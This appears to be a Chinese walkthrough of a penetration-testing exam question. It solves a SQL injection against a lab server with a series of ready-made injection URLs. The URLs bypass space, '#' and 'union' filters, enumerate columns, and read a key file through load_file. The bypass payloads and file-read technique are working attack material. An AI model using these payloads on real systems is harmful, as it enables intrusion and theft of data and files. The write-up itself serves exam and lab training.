Pte 考试题目
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注入漏洞
空格被过滤
用/**/代替空格，发现#被过滤
对＃进行url编码为%23
输入构造好的payload
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=1%23
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2%23
输入order by 1 显示正常
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/1%23
输入order by 2 显示正常
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/2%23
输入order by 3 显示正常
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/3%23
输入order by 4 显示正常
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/4%23
输入order by 5 出现错误，说明字段只存在4
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/5%23
输入union select 1,2,3,4 union被过滤采用双写绕过
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/union/**/select/**/1,2,3,4%23
union被过滤采用双写绕过 没有显示出来字段号
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/ununionion/**/select/**/1,2,3,4%23
采用and 和 or 测试
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,2,3,4%23
2.3.4有显示
读文件使用load_file根据提示读取这个文件load_file(%27/tmp/360/key%27)，进行尝试
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,load_file(%27/tmp/360/key%27),3,4%23
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23
http://172.16.12.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,2,3,load_file(%27/tmp/360/key%27)%23
